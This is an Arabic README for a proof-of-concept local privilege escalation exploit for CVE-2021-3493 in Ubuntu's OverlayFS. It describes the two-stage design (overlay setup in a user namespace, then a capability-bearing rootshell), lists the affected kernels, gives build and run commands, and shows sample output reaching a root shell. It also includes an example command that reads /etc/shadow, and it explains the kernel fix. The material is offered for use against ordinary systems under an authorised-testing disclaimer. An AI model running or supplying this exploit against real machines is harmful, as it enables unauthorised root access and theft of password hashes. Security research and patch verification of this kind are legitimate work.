
إثبات مفهوم على مرحلتين لـ CVE-2021-3493، يستغل Ubuntu OverlayFS للتصعيد من مستخدم غير مميز إلى الجذر عبر معالجة قدرات الملفات في مساحات أسماء المستخدمين.
إثبات مفهوم عملي لـ CVE-2021-3493، وهي ثغرة تصعيد امتيازات محلية في تطبيق OverlayFS بنواة Ubuntu.
يمكن لمستخدم غير مميز تركيب نظام ملفات overlay داخل مساحة اسم مستخدم (user namespace) وتعيين capabilities عشوائية للملفات عبر setxattr. لا تتحقق النواة من أصل مساحة الاسم لهذه الـ capabilities، لذا فهي تسري في مساحة اسم المستخدم init — مما يسمح لأي مستخدم محلي بتصعيد صلاحياته إلى صلاحيات الجذر (root).
هذه الثغرة خاصة بـ Ubuntu. تحمل Ubuntu رقعة (FS_USERNS_MOUNT) تسمح بتركيبات overlay غير مميزة — بينما لا تحمل نواة المنبع (upstream) ذلك، لذا فإن لينكس الرئيسي والتوزيعات الأخرى غير متأثرة بشكل عام.
| التوزيعة | النواة | المتأثرة (تم الإصلاح في) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
المصدر: USN-4916-1
يستخدم إثبات المفهوم هذا تصميمًا من مرحلتين:
| الملف | الدور |
|---|---|
exploit.c | المرحلة 1 — ينشئ نظام ملفات overlay داخل مساحة اسم مستخدم، وينسخ حمولة rootshell إليها، ويعيّن xattr الخاص بـ security.capability مع جميع الـ capabilities (all+ep) |
rootshell.c |
لماذا مرحلتان؟ يقوم إثبات المفهوم الأصلي inspiringz/CVE-2021-3493 بتنفيذ قشرة عبر exec من داخل مساحة اسم المستخدم، لذا فإن uid=0 هو مجرد تعيين لمساحة الاسم — وليس جذرًا حقيقيًا. يفصل إثبات المفهوم هذا إعداد overlay (عملية فرعية في مساحة اسم المستخدم) عن تنفيذ الحمولة (عملية أصلية في مساحة الاسم init)، مما يضمن تصعيد امتيازات حقيقيًا.
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: يستخدم الأصل /dev/shm وهو مُحمّل مع خيار nosuid، مما يجعل النواة تتجاهل بصمت capabilities الملف عند التنفيذ. يستخدم إثبات المفهوم هذا /tmp (عادةً على ext4 بدون nosuid).
حمولة من مرحلتين: ينسخ الأصل نفسه (/proc/self/exe) كملف ثنائي يحمل الـ capabilities، ولكن نظرًا لأن الاستغلال يستدعي unshare، فإن إعادة تنفيذه تؤدي فقط إلى الدخول مجددًا إلى مساحة اسم مستخدم. يستخدم إثبات المفهوم هذا ملفًا ثنائيًا منفصلًا rootshell يستهلك الـ capabilities مباشرة.
| نظام التشغيل | Ubuntu 20.04.1 LTS (Focal Fossa) |
| النواة | 5.4.0-65-generic (قابلة للاستغلال) / 5.4.0-216-generic (مصححة) |
| الإعداد | تثبيت Ubuntu Server الافتراضي — لا توجد تخفيفات معطّلة |
يستخدم المضيف نواة Ubuntu 20.04 قياسية مع جميع ميزات الأمان الافتراضية سليمة:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (افتراضي — يسمح بمساحات أسماء مستخدمين غير مميزة)CONFIG_OVERLAY_FS=m (افتراضي — OverlayFS متاح كوحدة)BOOT_IMAGE=... root=... ro)لا يلزم تعطيل أي ميزات أمان — يعمل الاستغلال مباشرة على Ubuntu 20.04 الافتراضي مع نواة قابلة للاستغلال.
⚠️ تحذير: شغّل هذا فقط على أنظمة تمتلكها أو مصرّح لك باختبارها صراحةً. يمنح هذا الاستغلال وصولًا حقيقيًا بصلاحيات الجذر.
make
./exploit
السلوك الافتراضي يطلق قشرة جذر تفاعلية. يمكنك أيضًا تشغيل أمر واحد:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
تقوم النوى المصححة (مثل >= 5.4.0-70 على Ubuntu 20.04) بترقية تنسيق xattr الخاص بالـ capabilities من v2 إلى v3 عند تعيينه عبر overlay في مساحة اسم مستخدم. يتضمن تنسيق v3 حقل rootid يسجل UID الحقيقي للمُعيّن في مساحة الاسم init. عند التنفيذ، تتحقق النواة من rootid — إذا لم يكن 0، يتم رفض الـ capabilities:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
يُقدَّم هذا الكود لأغراض البحث الأمني والاختبار المصرّح به فقط. استخدمه فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.
المرحلة 2 — حمولة نظيفة تستفيد من capabilities الملف لاستدعاء setuid(0) وإطلاق قشرة جذر حقيقية |